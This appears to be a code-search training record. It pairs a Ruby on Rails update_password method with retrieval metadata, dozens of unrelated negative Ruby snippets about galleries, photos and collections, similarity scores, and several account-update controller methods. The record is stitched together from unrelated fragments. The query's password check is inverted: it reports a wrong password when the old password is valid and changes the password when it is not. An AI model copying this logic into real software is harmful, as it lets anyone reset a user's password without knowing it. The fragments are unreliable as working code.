\"http://res.cloudinary.com/jooleeanh/image/upload/v1480379642/my-dives/shark-dive-3.jpg\"],\n [\"http://res.cloudinary.com/jooleeanh/image/upload/v1480379642/my-dives/whale-shark-dive-1.jpg\", \"http://res.cloudinary.com/jooleeanh/image/upload/v1480379642/my-dives/whale-shark-dive-2.jpg\", \"http://res.cloudinary.com/jooleeanh/image/upload/v1480379642/my-dives/whale-shark-dive-3.jpg\"],\n [\"http://res.cloudinary.com/jooleeanh/image/upload/v1480379642/my-dives/wreck-dive-1.jpg\", \"http://res.cloudinary.com/jooleeanh/image/upload/v1480379642/my-dives/wreck-dive-2.jpg\"],\n ]\n end",
"def galleries\n Painting.all.map do |painting_instance| \n if painting_instance.artist == self\n painting_instance.gallery\n end\n end.compact.uniq\n end",
"def process\n @gallery.each do |item|\n photo = {}\n photo[:url] = item['images'][0]['url']\n photo[:id] = item['id']\n @gallery_obj.push(photo)\n end\n end",
"def scaled_photos\n # How big is the area where we're showing phtoos\n row_width = grid_width\n\n scaled_photos = []\n\n # resolve the photos promise (if a promise)\n aspect_ratios = []\n photos = model.reject do |photo|\n if photo.height\n aspect_ratios << ((photo.width / photo.height) * 100).round\n false # keep\n else\n true # reject\n end\n end\n\n scaled_widths = summed_widths(photos)\n # Sum the width for the photos\n number_of_rows = (scaled_widths / row_width).round\n number_of_rows = [(number_of_rows / 2).round, 1].max\n\n partitions = `partition(aspect_ratios, number_of_rows)`\n\n index = 0\n\n partitions.map do |row|\n summed_ratios = row.sum\n row.each do |ratio|\n photo = photos[index]\n\n # the percent of the rows width this photo should take up\n percent_width = ratio / summed_ratios\n width = percent_width * row_width\n height = width / (ratio / 100.0)\n\n index += 1\n scaled_photos << ScaledPhoto.new(width.floor, height.floor, photo)\n end\n end\n\n scaled_photos\n end",
"def all_galleries\n gallery_arr = Painting.all.select do |painting_ob|\n painting_ob.artist == self\n end\n gallery_arr.map do |painting_ob|\n painting_ob.gallery.name\n end\nend",
"def items()\n data['galleries']\n end",
"def show_total_pegs\n \"#{@pegs[0]} #{@pegs[1]} #{@pegs[2]} #{@pegs[3]} #{@pegs[4]} #{@pegs[5]}\"\n end",
"def positions_of_members\n image_positions = flattened_member_ids_with_collections.\n # keep only the parent collections\n map(&:second).\n # add positions\n with_index.\n # keep only the children of this collection\n select { |(parent, _)| parent['id'] == pid }.\n # keep only the positions\n map(&:second)\n # collections don't have positions when going through a flattened collection, put nils in for\n # the positions of collections\n member_positions = []\n members.map do |member|\n if member.is_a? CuratedCollection\n member_positions << nil\n else\n # parents_of_members looks like this: [[parent, position], ...]\n # using .next here because .drop(1) causes the internal pointer to rewind\n # which makes us query for the dropped item a second time\n member_positions << image_positions.next\n end\n end\n member_positions\n end",
"def get_drawable_objects()\n @ary = []\n @ary += @monsters\n @ary += @towers.values\n @ary += @bullets\n @ary << @placed_tower if @placed_tower\n @ary\n end",
"def images\n []\n end",
"def image_elements #:nodoc:\n @image_elements[0...number_elements]\n end",
"def page_items\n sections.map(&:page_items).flatten\n end",
"def images\n images = @anchors.select { |a| a.object.is_a?(Pic) }\n images.map { |a| a.object }\n end",
"def test_array\n # PdfColoredPages.stubs(:get_ghostscript_output).returns(MOCKED_GS_OUTPUT)\n assert_equal [1,3,4], PdfColoredPages.as_array(TEST_PDF)\n end",
"def member_of_collections\n return [] unless model.respond_to?(:member_of_collection_ids)\n wayfinder.decorated_collections\n end",
"def paintings\n Painting.all.select do |a|\n a.gallery == self\n end\n end",
"def cities\n self.galleries.map{|painitng| painitng.city}\n end",
"def array_collection?\n @array_collection == true\n end",
"def collage\n @photos = []\n @photos = Photo.where(:tag => 'dogs').limit(3)\n imgList = Magick::ImageList.new('public' + @photos[0].attachment_url,\n 'public' + @photos[1].attachment_url,\n 'public' + @photos[2].attachment_url)\n @img = Photo.new\n @img = imgList.append(true)\n @img.write('public/uploads/photo/attachment/collage.jpg')\n end",
"def member_of_collections_attributes\n # A ChildWork will never be a direct member of a Collection\n return if ['ChildWork', 'Page'].include?(metadata[\"Object Type\"]) || !metadata['Parent ARK']\n arks_array = metadata['Parent ARK'].split('|~|')\n collection = []\n\n arks_array.each_with_index do |current_ark, index|\n ark_string = Ark.ensure_prefix(current_ark.strip)\n collection[index] = Collection.find_or_create_by_ark(ark_string)\n\n unless collection[index].recalculate_size == false\n collection[index].recalculate_size = false\n collection[index].save\n end\n end\n\n collection_return = {}\n collection.each_with_index do |current_collection, index|\n collection_return[index] = { id: current_collection.id }\n end\n\n collection_return\n end",
"def images_across_projs\n # return a list of Images (only) that are linked through ImageDescriptions, spanning all projects\n # Image.find(:all) \n false\n end",
"def glide_image_pairs\n @glide_image_pairs = []\n listings = Listing.find(:all)\n pair_offset = 0\n listings.each do |listing|\n if listing.images.length > 1\n pair = []\n listing.images.each_with_index do |image, j|\n pair << image\n pair_offset = pair_offset + 1\n #break if j # only load 2 images at a time into array\n end\n @glide_image_pairs << pair\n end\n end\n return @glide_image_pairs\n end",
"def victoire\n \n [[@a1, @a2, @a3],\n [@a1, @b2, @c3],\n [@a1, @b1, @c1],\n [@b1, @b2, @b3],\n [@c1, @c2, @c3],\n [@c1, @b2, @a3],\n [@a2, @b2, @c2],\n [@a3, @b3, @c3]]\n end",
"def paintings\n Painting.all.select do |painting|\n painting.gallery == self\n end\n end",
"def containers(opts={})\n is_member_array = is_member_of_collection(:response_format=>:id_array)\n \n if !is_member_array.empty?\n logger.warn \"This object has inbound collection member assertions. hasCollectionMember will no longer be used to track file_object relationships after active_fedora 1.3. Use isPartOf assertions in the RELS-EXT of child objects instead.\"\n if opts[:response_format] == :solr || opts[:response_format] == :load_from_solr\n logger.warn \":solr and :load_from_solr response formats for containers search only uses parts relationships (usage of hasCollectionMember is no longer supported)\"\n result = part_of(opts)\n else\n con_result = is_member_of_collection(opts)\n part_of_result = part_of(opts)\n ary = con_result+part_of_result\n result = ary.uniq\n end\n else\n result = part_of(opts)\n end\n return result\n end",
"def gracify(data)\n data.map{|i| Belt.new(i[0], i[1])}\n end",
"def collections; end",
"def count_eggs(chicken_array)\n total_eggs = 0\n for chicken in chicken_array\n total_eggs += chicken[:eggs]\n end\n return total_eggs\nend",
"def pets\n pet_owners.map do |pet_owner|\n pet_owner.pet\n end\n end",
"def all_artists_by_gallery\n paintings = Painting.all.select { |painting| painting.gallery == self }\n # paintings.map { |painting| painting.artist }\n end",
"def rand_array(geometry,width)\n if geometry.is_a?(Array) then\n # Geometry is hierarchical, recurse on it.\n return geometry.map {|elem| rand_array(elem,width) }\n else\n # Geometry is a size of a 1-D array, generate it.\n return geometry.times.map { |i| rand_signed(width) }\n end\nend",
"def converted_arrays; end",
"def small_dogs\n small_array = []\n @dogs.each do |dog|\n if dog[:size] == :small\n small_array << dog\n end\n end\n p small_array\n end",
"def cities\n galleries.map {|gallery| gallery.city}\n end",
"def cities\n galleries.map {|gallery| gallery.city}\n end",
"def sub_items\n elems\n end",
"def cities\n galleries.map do |gallery| \n gallery.city \n end\n end",
"def docking(bike_collection)\n\n # If it is just a bike, no need to run through an array.\n if bike_collection.is_a?(Bike)\n if full? then storage.push(bike_collection) else raise 'no space' end\n\n # If array, loop through it and add\n elsif bike_collection.is_a?(Array)\n bike_collection.each do |bike|\n if full? then storage.push(bike) else raise 'no space' end\n end\n end\n\n end",
"def product_photo\n photos = []\n self.products.each do |product|\n photos << product.photo\n end\n return photos.sample\n end",
"def photos\n return all_photos if @json[\"photos\"].blank?\n @json[\"photos\"][\"groups\"].select { |g| g[\"type\"] == \"venue\" }.first[\"items\"].map do |item|\n Foursquare::Photo.new(@foursquare, item)\n end\n end",
"def photos\n return all_photos if @json[\"photos\"].blank?\n @json[\"photos\"][\"groups\"].select { |g| g[\"type\"] == \"venue\" }.first[\"items\"].map do |item|\n Foursquare::Photo.new(@foursquare, item)\n end\n end",
"def persons\n Gallerist::Person.where modelId: person_photos.map(&:person_id)\n end",
"def persons\n Gallerist::Person.where modelId: person_photos.map(&:person_id)\n end",
"def child_collections\n members.select {|m| m.kind_of? CuratedCollection }\n end",
"def _pg_array(v)\n v.to_ary.map do |i|\n if i.respond_to?(:to_ary)\n _pg_array(i)\n elsif i\n if @conversion_proc.nil?\n @conversion_proc = @conversion_proc_method.call(i)\n end\n if @conversion_proc\n @conversion_proc.call(i)\n else\n i\n end\n else\n i\n end\n end\n end",
"def process_images(pat, sp_name)\n sp = ServicePack.find_or_create_by_name(sp_name)\n images = ImagePath.find(:all, :conditions => \"path like '#{pat}'\")\n length = images.length\n images.each_with_index do |image, index|\n # puts \"processing image #{index} of #{length}\"\n image.package.filesets.each do |fileset|\n ServicePackFilesetMap.find_or_create_by_service_pack_id_and_fileset_id(sp.id, fileset.id)\n end\n end\nend",
"def process_array(tags, property, content, **opts)\n content.each { |v| process_tree(tags, property, v, **opts) }\n end",
"def map(items)\n self.push(:points => { :point => items})\n end",
"def pieces\n list = []\n n = @data['info']['pieces'].bytesize / PIECE_SIZE\n n.times do |i|\n list << @data['info']['pieces'][(i * PIECE_SIZE)..(i * PIECE_SIZE + PIECE_SIZE - 1)]\n end\n list\n end",
"def elements; end",
"def elements; end",
"def elements; end",
"def update_hits(peptide_hits, final_peps_to_prots)\n peptide_hits.each do |pep|\n pep.prots = pep.prots.select do |prot| \n prot.peps = [] # clear the peptides\n #final_peps_to_prots.each {|k,v| puts \"K: #{k} V: #{v}\"; break }\n final_peps_to_prots[pep.aaseq].include?(prot.id) \n end\n end\n \n peptide_hits.each do |pep_hit|\n pep_hit.prots.each do |prot|\n prot.peps.push(pep_hit)\n end\n end\n \n peptide_hits\n end",
"def article_components_for(article)\n article.pictures[1..-1] || []\n end",
"def display_pegs\n\tputs \"Peg A = \" + $pegs[\"a\"].to_s\n\tputs \"Peg B = \" + $pegs[\"b\"].to_s\n\tputs \"Peg C = \" + $pegs[\"c\"].to_s\nend",
"def pic_team (array)\n teams = []\n array.each do |row|\n teams << row[:team]\n end\nteams.uniq\nend",
"def array_of_array_multi(array)\n # YOUR CODE HERE\n multiArr = array.map{ |arr| arr.map{ |num| num * num } }\n p multiArr\n p array\n # array\nend",
"def pets_by_breed(shop, breed) # def the function with two arguements of shop and breed which are passed in through test as @pet_shop and \"B/s\"\n pets_array = [] #creates a new array\n for pet in shop[:pets] #for loop says for a pet in @pet_shop pets\n pets_array.push(pet) if pet[:breed] == breed #push the pet breed of B/s into the pets array\n end\n return pets_array #return the pets array (2)\nend",
"def cities\n galleries.map do |gallery|\n gallery.city\n end\n end",
"def cities\n galleries.map do |gallery|\n gallery.city\n end\n end",
"def total_photos\n created_albums.inject([]) do |total_photos, album|\n if album.photos\n total_photos << album.photos\n else\n total_photos\n end\n end\n .flatten\n end",
"def listgroups\r\n # copied from \"loopnodefromentities\" and trimmed to just return the list of groups\r\n model = Sketchup.active_model\r\n entities = model.active_entities\r\n safe_area_points = P.get_safe_area_point3d_array\r\n # find all outside loops\r\n loops = []\r\n groups = []\r\n phlatcuts = []\r\n dele_edges = [] # store edges that are part of loops to remove from phlatcuts\r\n entities.each do |e|\r\n if e.is_a?(Sketchup::Face)\r\n has_edges = false\r\n # only keep loops that contain phlatcuts\r\n e.outer_loop.edges.each do |edge|\r\n pc = PhlatCut.from_edge(edge)\r\n has_edges = (!pc.nil? && pc.in_polygon?(safe_area_points))\r\n dele_edges.push(edge)\r\n end\r\n loops.push(e.outer_loop) if has_edges\r\n elsif e.is_a?(Sketchup::Edge)\r\n # make sure that all edges are marked as not processed\r\n pc = PhlatCut.from_edge(e)\r\n if pc\r\n pc.processed = false\r\n phlatcuts.push(pc) if pc.in_polygon?(safe_area_points) && ((pc.is_a? PhlatScript::PlungeCut) || (pc.is_a? PhlatScript::CenterLineCut))\r\n end\r\n elsif e.is_a?(Sketchup::Group)\r\n groups.push(e)\r\n end\r\n end # entities.each\r\n\r\n # make sure any edges part of a curve or loop aren't in the free standing phlatcuts array\r\n phlatcuts.collect! { |pc| dele_edges.include?(pc.edge) ? nil : pc }\r\n phlatcuts.compact!\r\n puts(\"Located #{groups.length} GROUPS containing PhlatCuts\") unless groups.empty?\r\n groups.each do |e|\r\n group_name = e.name\r\n puts \"(Group: #{group_name})\" unless group_name.empty?\r\n end # groups.each\r\n loops.flatten!\r\n loops.uniq!\r\n puts(\"Located #{loops.length} loops containing PhlatCuts\") unless loops.empty?\r\n groups\r\n end",
"def guess_container(guess)\n @guess_array.push(guess)\n end",
"def image_ids; (images.map(&:id) rescue []); end",
"def image_ids; (images.map(&:id) rescue []); end",
"def paintings # Get a list of all the paintings by a specific(keywrod for instance method) artists\n Painting.all.select{|list| list.gallery == self}\n # binding.pry\n end",
"def dogs_by_size_results\n dogs_by_size_results = []\n end",
"def cities\n self.galleries.map do |g|\n g.city\n end\nend",
"def embeddables\n page_items.map(&:embeddable)\n end",
"def gallery_for_user(user)\n # GARF: The cachebusting timestamp is for testing worst case load times remove before production!!!\n # The map is butt slow (1 second for 700 pics) and should not be used!\n # photos.first(100).map{|p| p.pic.url(:thumb) + \"-\" + Time.now.to_i.to_s}\n photos.order(\"created_on DESC\").map{|p| p.attributes_for_app }\n end",
"def cities\n self.galleries.map do |gi|\n gi.city\n end\n end",
"def images\n [\n 'crow',\n 'cow',\n 'deer',\n 'monkey',\n 'fish',\n 'frog',\n 'horse',\n 'spider',\n ]\n end",
"def initialize(array)\r\n @pic = array #@pic is now \r\n end",
"def member_collections\n collections\n end",
"def add_dimension_to_items\n new_items = Array.new\n items.each do |i|\n Rails.logger.debug(\"i[:product_id] is #{i[:product_id]}\")\n p = CachedProduct.find_by_product_id(i[:product_id])\n i = i.merge({:height=>p.height, :width=>p.width, :length =>p.length})\n new_items << i\n end\n new_items\n end",
"def pbEachPokemon\n for i in -1...$PokemonStorage.maxBoxes\n for j in 0...$PokemonStorage.maxPokemon(i)\n poke = $PokemonStorage[i][j]\n yield(poke,i) if poke\n end\n end\nend",
"def collections\n Collection.find(:all, :find_through => [N::DCT.hasPart, self])\n end",
"def member_of_collections_value\n @value.map(&:title)\n end",
"def images; (page.images rescue []); end",
"def images; (page.images rescue []); end",
"def products\n @products.map{|prouduct, num| (1..num).map{|i| prouduct}}.flatten\n end"
] |
[
"0.64855164",
"0.6484457",
"0.6404683",
"0.6375099",
"0.6371604",
"0.6326745",
"0.6326745",
"0.6326745",
"0.6310757",
"0.6289266",
"0.6286084",
"0.6167558",
"0.6089037",
"0.6076401",
"0.6050659",
"0.59479475",
"0.54815066",
"0.534312",
"0.5336717",
"0.5327151",
"0.52634346",
"0.5223999",
"0.5217521",
"0.52144957",
"0.52021956",
"0.51823914",
"0.5163836",
"0.5145524",
"0.51271355",
"0.51085234",
"0.50737435",
"0.50635195",
"0.5041009",
"0.5030666",
"0.5027634",
"0.5024108",
"0.5016917",
"0.5013669",
"0.50019526",
"0.5000562",
"0.50005394",
"0.498504",
"0.4975406",
"0.49612918",
"0.49548718",
"0.49531677",
"0.4952198",
"0.49508858",
"0.49492696",
"0.49401453",
"0.4934683",
"0.49334687",
"0.49316275",
"0.49316275",
"0.49243066",
"0.49236733",
"0.49152112",
"0.49092573",
"0.48995596",
"0.48995596",
"0.48993635",
"0.48993635",
"0.4892579",
"0.4890617",
"0.48812",
"0.48775685",
"0.4870082",
"0.4866683",
"0.4856669",
"0.4856669",
"0.4856669",
"0.4853633",
"0.4852352",
"0.48448867",
"0.4841066",
"0.48386365",
"0.48278564",
"0.4826592",
"0.4826592",
"0.48261464",
"0.48259485",
"0.48162284",
"0.4813429",
"0.4813429",
"0.4810034",
"0.48094362",
"0.48065734",
"0.48048893",
"0.47977522",
"0.47954115",
"0.47926828",
"0.47920445",
"0.47911277",
"0.4790639",
"0.47867978",
"0.4785387",
"0.47819346",
"0.47813082",
"0.47813082",
"0.4773776"
] |
0.5590779
|
16
|
ACCOUNT UPDATING NOT AVAILABLE. SEE UPDATE_PASSWORD BELOW. def update
|
def update_password
@user = current_user
old_password = params[:old_password]
new_password = params[:new_password]
if old_password == '' or new_password == ''
flash[:notice] = I18n.t('accounts.password_blank')
elsif @user.valid_password?(old_password)
flash[:notice] = I18n.t('accounts.password_wrong')
else
@user.update_attributes(:password => new_password)
flash[:notice] = I18n.t('accounts.password_update_successful')
end
respond_with @user, :location => :account
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def update_account(options)\n password = options[:new_password]\n parameters = { :curpass => options[:current_password], :email => options[:email], :newpass => password, :verpass => password, :api_type => :json }\n\n post('api/update', parameters)\n end",
"def update_account\n\n @user = User.find(current_user.id)\n\n successfully_updated = @user.update_with_password(user_params)\n\n if successfully_updated\n set_flash_message :notice, :updated\n # Sign in the user bypassing validation in case his password changed\n bypass_sign_in @user\n redirect_to user_path(@user.username)\n else\n render \"edit_account\"\n end\n\n end",
"def create_account(user)\n account = Account.to_adapter.get!(user.id)\n update_status = account.update_with_password({ \"email\" => user.email, \"name\" => user.username })\nend",
"def update\n\n begin\n\n update_zone = false\n deploy_zone = false\n\n @account = Account.active.find_by_email(params[:id])\n @account = Account.active.find(params[:id]) if @account.nil?\n\n if @account_user.instance_of?(Account)\n #verify user is accessing his/her own account\n raise \"Username '#{@account_user.email}' does not have access to this account\" if @account != @account_user\n end\n\n Account.transaction do\n\n #changed from \"update_attributes\" because\n # - not all attributes can be updated\n # - params may contain one or more (might not be all) attributes\n # - super-user can change attrs that user cannot\n @account[:name] = params[:name] unless params[:name].nil?\n @account[:first_name] = params[:first_name] unless params[:first_name].nil?\n @account[:last_name] = params[:last_name] unless params[:last_name].nil?\n @account[:address] = params[:address] unless params[:address].nil?\n @account[:city] = params[:city] unless params[:city].nil?\n @account[:province] = params[:province] unless params[:province].nil?\n @account[:country] = params[:country] unless params[:country].nil?\n @account[:postal_code] = params[:postal_code] unless params[:postal_code].nil?\n @account[:phone] = params[:phone] unless params[:phone].nil?\n\n #Change password?\n unless (params[:password].nil? || params[:new_password].nil?)\n raise Exceptions::InvalidCredentials.new(@account.email) unless @account.verify_password(params[:password])\n @account[:password] = params[:new_password]\n @account[:status] = VersaFile::AccountStates.Enabled\n end\n\n #Allow super-user to modify these\n if @account_user.instance_of?(RkoUser)\n @account[:customer_code] = params[:customer_code] unless params[:customer_code].nil?\n @account[:billing_type] = params[:billing_type] unless params[:billing_type].nil?\n @account[:account_type] = params[:account_type] unless params[:account_type].nil?\n @account[:trial_period] = ((@account[:account_type] == VersaFile::AccountTypes.Trial) ? params[:trial_period] : VersaFile::TrialStates.NoTrial) unless params[:trial_period].nil?\n\n deploy_zone = ( (!@account.customer_code.nil?) && (@account.customer_code_changed?) && (@account.status == VersaFile::AccountStates.Pending))\n end\n\n @account[:updated_by] = @account_user.instance_of?(RkoUser) ? @account_user.name : @account_user.email\n\n update_zone |= @account.trial_period_changed?\n unless @account.save\n raise_errors(@account.errors)\n end\n\n unless params[:subdomains].nil?\n\n params[:subdomains].each do |subdomain|\n @zone_node = @account.zone_nodes.find_by_subdomain(subdomain[:name])\n raise \"Zone '#{subdomain[:name]}' is not associated with account '#{@account.name}'\" if @zone_node.nil?\n\n @zone_node.name = @account.name unless @account.name.nil?\n @zone_node.max_users = subdomain[:user_quota] unless subdomain[:user_quota].nil?\n @zone_node.max_disk_space = (subdomain[:disk_quota].to_i * VersaFile::DiskSizes.Gigabyte) unless subdomain[:disk_quota].nil?\n\n update_zone |= @account.name_changed? |\n @zone_node.max_users_changed? |\n @zone_node.max_disk_space_changed?\n\n unless @zone_node.save\n raise_errors(@zone_node.errors)\n end\n end\n\n end\n\n #Update remote zone information\n logger.debug(\"UPDATE ZONE???? :> #{update_zone}\")\n if update_zone\n @account.zone_nodes.each do |zone_node|\n zone_node.delay.zone_update\n end\n end\n\n end\n\n if deploy_zone\n @account.zone_nodes.each do |zn|\n #Auto-deploy\n zn.delay.zone_deploy if deploy_zone\n end\n end\n\n respond_to do |format|\n format.html { redirect_to @account, notice: 'Account was successfully created.' }\n format.json { render json: @account.to_json(:except=>:password, :methods => [:subdomains, :template]), :status => :ok }\n end\n\n rescue => e\n logger.error \"Account update failed => #{e.message}\"\n respond_to do |format|\n format.json { render :json => e.message, :status => :unprocessable_entity }\n end\n end\n\n end",
"def update \n @account = current_user.account\n if @account.authenticate(params[:account].delete(:current_password))\n if params[:edit] == \"email\" # special treatment for email\n @account.send_confirmation_instructions(params[:account][:email])\n flash[:notice] = I18n.t(:\"confirmations.sent\", \n :email => params[:account][:email]).html_safe\n # do not update current email unless it is not confirmed\n if @account.confirmed? \n redirect_to edit_account_path\n return\n end\n end \n if params[:edit] == \"password\"\n params[:account][:password_set_at] = Time.now\n end\n if @account.update_attributes(params[:account])\n redirect_to edit_account_path\n else\n render 'edit'\n end\n else \n @account.errors.add(:current_password, I18n.t(:'accounts.wrong_password'))\n render 'edit'\n end\n end",
"def update\n set_action(:update)\n set_account_type\n validate_account_type!\n assign_params\n set_affiliate\n set_updated_by\n\n after_update\n account\n end",
"def update_password\n # check current password is valid\n if params[:account].present? and !@account.valid_password?(params[:account][:current_password])\n redirect_to gns_core.my_account_backend_accounts_path, flash: { error: \"Current password incorrectly.\" }\n return\n end\n\n if params[:account].present?\n params[:account].delete(:password) if params[:account][:password].blank?\n params[:account].delete(:password_confirmation) if params[:account][:password].blank? and params[:account][:password_confirmation].blank?\n\n if @account.update_with_password(account_params)\n bypass_sign_in(@account)\n redirect_to gns_core.my_account_backend_accounts_path, flash: { success: \"The new password has been successfully changed.\" }\n else\n if params[:account][:password].nil? or params[:account][:password].length < 6\n redirect_to gns_core.my_account_backend_accounts_path, flash: { error: \"New password must contain at least 6 characters.\" }\n else\n redirect_to gns_core.my_account_backend_accounts_path, flash: { error: \"Repeat password does not match.\" }\n end\n end\n end\n end",
"def update? ; user.account.active? ; end",
"def update\n account_update_params = devise_parameter_sanitizer.sanitize(:account_update)\n\n # This is required for the form to submit when the password is left blank.\n if account_update_params[:password].blank?\n account_update_params.delete('password')\n account_update_params.delete('password_confirmation')\n end\n\n @user = User.find(current_user.id)\n if @user.update_attributes(account_update_params)\n set_flash_message ':notice', :updated\n\n # Sign in the user and bypass validation in case the password changed.\n sign_in @user, bypass: true\n redirect_to after_update_path_for(@user)\n else\n render 'edit'\n end\n end",
"def update\n \n oldUser = User.find(current_user.id)\n @user = User.find(current_user.id)\n\n successfully_updated = if needs_password?(@user, account_update_params)\n @user.update_with_password(account_update_params)\n else\n # remove the virtual current_password attribute update_without_password\n # doesn't know how to ignore it\n params[:user].delete(:current_password)\n @user.update_without_password(account_update_params)\n end\n\n if successfully_updated\n \n ## Move the user profile photo from tmp to user directory\n if @user.profile_photo!=\"\"\n move_tmp_user_photo(@user)\n end\n \n #update latitude longitude here ...\n if @user.user_type == \"fan\" || @user.user_type == \"artist\"\n #//check if the address has been changed\n addressChanged = !((oldUser.country_id == @user.country_id) && (oldUser.state_id == @user.state_id) && (oldUser.zip ==@user.zip) && (oldUser.city == @user.city))\n if addressChanged\n fullAddress = \"\"\n countryName = \"\"\n stateName = \"\"\n if @user.country_id.to_i > 0\n countryRow = Country.where(\"id = ? \",@user.country_id.to_i).take\n if countryRow != nil\n countryName = countryRow.country_name\n end\n end\n \n if @user.state_id.to_i > 0\n stateRow = State.where(\"id = ? \",@user.state_id.to_i).take\n if stateRow != nil\n stateName = stateRow.state_name\n end\n end\n \n if @user.zip.to_s != \"\"\n fullAddress = URI.encode(@user.zip)\n end\n \n if @user.city.to_s !=\"\"\n if fullAddress.blank?\n fullAddress = URI.encode(@user.city)\n else\n fullAddress += \",\"+URI.encode(@user.city)\n end \n end\n \n if stateName !=\"\"\n if fullAddress.blank?\n fullAddress = URI.encode(stateName)\n else\n fullAddress += \",\"+URI.encode(stateName)\n end \n end\n \n if countryName !=\"\"\n if fullAddress.blank?\n fullAddress = URI.encode(countryName)\n else\n fullAddress += \",\"+URI.encode(countryName)\n end \n end\n \n #render text: fullAddress and return\n if !fullAddress.blank?\n lat_long = Geocoder.coordinates(fullAddress)\n cUser = User.find(@user.id);\n if lat_long!=nil\n cUser.update_attributes(:latitude => lat_long[0],:longitude => lat_long[1])\n end \n end \n end \n end\n \n set_flash_message :notice, :updated\n # Sign in the user bypassing validation in case his password changed\n sign_in @user, :bypass => true\n redirect_to after_update_path_for(@user)\n else\n render \"edit\"\n end\n end",
"def update\n if @account.update(account_params)\n redirect_to root_path, notice: 'Account was successfully updates.'\n else\n redirect_to root_path, alert: 'Some thing went wrong! try more...'\n end\n end",
"def update\n #\n # Update Record / Change Password\n #\n if token_present? && @current_account\n if @current_account.email != params[:id]\n return render_error(422, :WRONG_PARAM, \"email\")\n end\n # Do any privileged operations here, we're authenticated\n # IE update name, update email?, update password\n update_account_authenticated\n #\n # ResetPassword/Confirm Account\n #\n else\n # Not authenticated...couple things we could be trying to do\n @account = Account.first_by_email(params[:id])\n if @account.nil?\n # No account found\n render_error_modelname(404, :MISSING_RECORD, User)\n #resend confirmation token (and regenerate token if expired)\n elsif params['resend'].present?\n update_resend_account\n #if the confirmation token has expired, error out\n elsif !@account.confirmed? && @account.send(:confirmation_period_expired?)\n render_error(401, \"Confirmation Token Expired\")\n elsif !@account.confirmed? && (params[:confirmation_token].present? || params[:old_password].present?)\n # Unconfirmed accounts\n # Confirming and setting name and password details\n update_and_confirm_account\n elsif @account.confirmed? && params[:reset_password_token]\n update_and_reset_password\n else\n name = \"User=#{params[:id]}\"\n log_security_unauthorized_alert_message(\"User\", name, \"not authenticated\")\n render_error(401, :UNAUTHORIZED)\n end\n end\n end",
"def update_account(client, options)\n accounts = get_accounts(client, options)\n if accounts.nil?\n return\n end\n\n account = find_account(accounts, options[:email])\n if !account.nil?\n if !options[:firstname].nil?\n account.given_name = options[:firstname]\n end\n if !options[:surname].nil?\n account.surname = options[:surname]\n end\n if !options[:username].nil?\n account.username = options[:username]\n end \n if !options[:password].nil?\n account.password = options[:password]\n end\n if !options[:status].nil?\n account.status = (options[:status] == \"disabled\" ? Stormpath::Resource::Status::DISABLED : Stormpath::Resource::Status::ENABLED)\n end\n\n begin\n account.save\n puts \"Account updated.\"\n rescue Stormpath::Error => e\n print_error(e)\n end\n else\n puts \"Account not found\"\n return\n end\nend",
"def update\n if @system_platform_account.update(system_platform_account_params)\n record_activities('修改接入账号', @system_platform_account.account_name)\n flash[:success] = '修改接入账号成功'\n redirect_to system_platform_accounts_path\n else\n flash[:error] = \"修改失败: #{@system_platform_account.errors.full_message}\"\n render :edit\n end\n end",
"def update\n account = current_organization.accounts.find(params[:id])\n return forbidden unless account && current_account.allowed_to_edit_account?(account, current_organization)\n return json(account) unless account.update_attributes pick(params, :first_name, :last_name, :email,:language, :document_language)\n\n role = pick(params, :role)\n #account.update_attributes(role) if !role.empty? && current_account.admin?\n membership = current_organization.role_of(account)\n membership.update_attributes(role) if !role.empty? && current_account.admin?\n password = pick(params, :password)[:password]\n if (current_account.id == account.id) && password\n account.update(password: password)\n end\n json account.canonical(membership: membership)\n end",
"def update\n @user = current_user\n @tab = params[:tab]\n @on_my_account = true\n\n # do in two steps so we can see user.changes\n @user.attributes = params[:user]\n @user.update_subscriptions('http://sowhatsthedeal.com/my_account_email', nil, true)\n\n if @user.errors.empty? and @user.save\n @user.update_cim_profile\n flash.now[:notice] = \"Your #{@tab == 'personal' ? 'account has' : 'email preferences have' } been updated!\"\n end\n \n if request.xhr?\n render :text => \"success\"\n else \n render :action => @user.errors.on(:password) ? 'change_password' : 'show'\n end\n end",
"def update\n __log_activity\n __debug_route\n __debug_request\n update_resource(resource, account_update_params) or raise set_flash_alert\n set_flash_notice(user: resource.account)\n redirect_back(fallback_location: dashboard_path)\n rescue => error\n auth_failure_redirect(message: error)\n end",
"def update\n # User.find(current_user) vs plain current_user avoids failed name change to appear immediately in layout\n @user = User.find(current_user.id)\n \n # this needs to be passed to the object instance so that it validates the current password\n # any more elegant way to do it?\n @user.validate_current_password = true if account_section == 'password'\n\n respond_to do |format|\n if @user.update_attributes(params[:user])\n flash[:notice] = \"Changes saved.\"\n format.html { redirect_to account_edit_url(account_section) }\n format.xml { head :ok }\n else\n format.html { render :action => :edit }\n format.xml { render :xml => @user.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @account = @user.account\n @plan = Plan.find(params[:account][:plan_id])\n \n if @account.plan_change_valid?(@plan)\n if @plan.free?\n respond_to do |format|\n if @account.update_attributes(params[:account])\n flash[:notice] = 'Account was successfully updated.'\n format.html { redirect_to(account_path(@account, :subdomain => @user.subdomain)) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @account.errors, :status => :unprocessable_entity }\n end\n end\n else\n session[:account_id] = @account.id\n session[:plan_id] = @plan.id\n checkout(upgrade_account_url, projects_root_url(:subdomain => @user.subdomain))\n end\n else\n flash[:warning] = \"Account plan could not be changed.\"\n redirect_to(projects_root_url(:subdomain => @user.subdomain))\n end\n end",
"def update\n # @user = User.find(params[:id])\n @user = current_user # makes our views \"cleaner\" and more consistent\n params[:user][:existing_identity_attrs] ||= {}\n unless configatron.user_can_change_login\n params[:user].delete(:login)\n @user_login_is_readonly = true\n end\n \n respond_to do |format|\n if @user.update_attributes(params[:user])\n flash[:notice] = \"Account updated!\"\n format.html { redirect_to account_url }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @user.errors, :status => :unprocessable_entity }\n end\n end\n end",
